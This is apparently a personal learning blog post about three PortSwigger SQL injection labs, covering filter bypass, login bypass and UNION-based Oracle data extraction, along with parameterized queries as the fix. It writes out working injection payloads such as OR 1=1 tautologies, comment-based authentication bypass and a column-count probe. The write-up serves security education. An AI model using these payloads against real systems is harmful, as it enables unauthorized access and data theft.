# Day 3: First Steps Into SQL Injection

After two days deep in Broken Access Control, today I moved to the next OWASP category: **Injection**. Specifically, SQL injection — arguably the most historically damaging vulnerability class in web security, and the one behind some of the largest breaches on record. I worked through three PortSwigger labs, each building on the last.

## The Core Idea, Before the Labs

Injection happens when **untrusted input gets treated as code or query logic instead of as plain data**. A backend that builds SQL queries by directly stitching user input into a string — instead of keeping "data" and "instructions" strictly separate — lets an attacker supply input that changes what the query actually does.

It's the same root failure as everything I covered in access control: the server trusting something it shouldn't. Just applied to a database query instead of a role or a cookie.

## Lab 1: Retrieving Hidden Data via the WHERE Clause

This lab's shop app filters products by category through a URL parameter:

```plaintext
/filter?category=Gifts
```

No visible form field — the input lives entirely in the URL. The app almost certainly builds a query like:

```sql
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```

The `released = 1` condition hides products that aren't public yet — that's the "hidden data" the lab is about.

**First test — confirm the injection exists at all:**

```plaintext
?category='
```

This threw an **Internal Server Error** — the unescaped quote broke the SQL syntax, confirming the input reaches raw SQL with zero sanitization.

**Getting the actual exploit right took two attempts.** My first payload:

```plaintext
?category=Gifts'--
```

This commented out the trailing `AND released = 1`, but it still only matched products where the category *genuinely* equals `Gifts` — so it wouldn't surface hidden products outside that category. The payload that actually solved it:

```plaintext
?category=Gifts' OR 1=1-- -
```

`OR 1=1` is always true, so it overrides the category match entirely and returns *every* row in the table — hidden or not. The trailing `-- -` comments out the leftover `' AND released = 1` the app appends after the input, so that filter never runs at all.

**The fix:** parameterized queries.

```javascript
const query = `SELECT * FROM products WHERE category = ? AND released = 1`;
db.execute(query, [category]);
```

With a parameterized query, user input is always treated strictly as data — no matter what characters it contains, it can never change the query's structure.

## Lab 2: Login Bypass

This lab had a real login form, with a query shaped roughly like:

```sql
SELECT * FROM users WHERE username = 'admin' AND password = 'wrongpassword'
```

Payload, dropped straight into the username field:

```plaintext
administrator'--
```

The resulting query:

```sql
SELECT * FROM users WHERE username = 'administrator'--' AND password = 'whatever'
```

`--` comments out everything after it, including the entire password check. The database never even evaluates the password — it just looks for a user named `administrator` and logs in as them, no valid credentials needed at all.

## Lab 3: UNION-Based Extraction (Oracle Version)

This one was a different technique entirely — not bypassing a check, but pulling arbitrary data *out* of the database using `UNION`.

**What UNION actually does, in plain terms:** it stacks two separate `SELECT` results into one combined output. The one hard rule: both queries need to return the same number of columns, or the database errors out.

**Step 1 — find the column count.** Using `ORDER BY` (sort by column N) as a probe:

```plaintext
?category=Pets' ORDER BY 1--   → loads fine
?category=Pets' ORDER BY 2--   → loads fine
?category=Pets' ORDER BY 3--   → Internal Server Error
```

`ORDER BY 3` failing meant there's no 3rd column — the original query returns exactly 2 columns.

**Step 2 — inject a matching UNION SELECT.** Oracle requires every `SELECT` to reference a table (no bare `SELECT 'x'`), so version info comes from a built-in table, `v$version`, in a column called `banner`:

```plaintext
?category=Pets' UNION SELECT banner,NULL FROM v%24version--
```

(`%24` is the URL-encoded `$`.) The final combined query the database actually ran:

```sql
SELECT name, price FROM products WHERE category = 'Pets'
UNION
SELECT banner, NULL FROM v$version
```

The app only expected the first half to run. Because the column counts matched, the database happily merged both result sets — surfacing the Oracle version string in what looked like a normal product listing.

## Why This Still Happens on "Modern" Sites

Genuinely surprised me at first — SQLi has been public knowledge for over two decades, so why does it keep showing up? A few real reasons:

*   **Legacy code.** A lot of production systems have database layers written a decade-plus ago that never get revisited.
    
*   **Escape hatches in modern frameworks.** Most ORMs (Django, Rails, Sequelize) default to safe, parameterized queries — but almost all of them still allow raw SQL for edge cases the ORM can't express. That's where injection creeps back in, even in an otherwise "modern" stack.
    
*   **Third-party plugins and vendor software.** A lot of real-world SQLi isn't in custom app code at all — it's in an old CMS plugin or admin panel nobody's patched.
    
*   **Testing gap.** Most QA checks "does the feature work," not "can this be abused" — that gap usually only gets closed by a dedicated security review, which smaller companies often skip until after an incident.
    

## Takeaways

*   Injection is the same root failure as broken access control — the server trusting input it shouldn't — just applied to query structure instead of permissions.
    
*   `UNION`\-based injection requires matching column counts first; `ORDER BY` is a simple, reliable way to find that number before building the real payload.
    
*   The permanent fix across every variant is the same: **parameterized queries.** String concatenation into a query is the actual root cause every single time.
    

Three SQL injection labs down. Next up: continuing through the rest of the Injection category before moving on to Insecure Design.

* * *

*Testing was performed exclusively against PortSwigger's own intentionally vulnerable lab environments as part of self-directed learning on the Web Security Academy.*
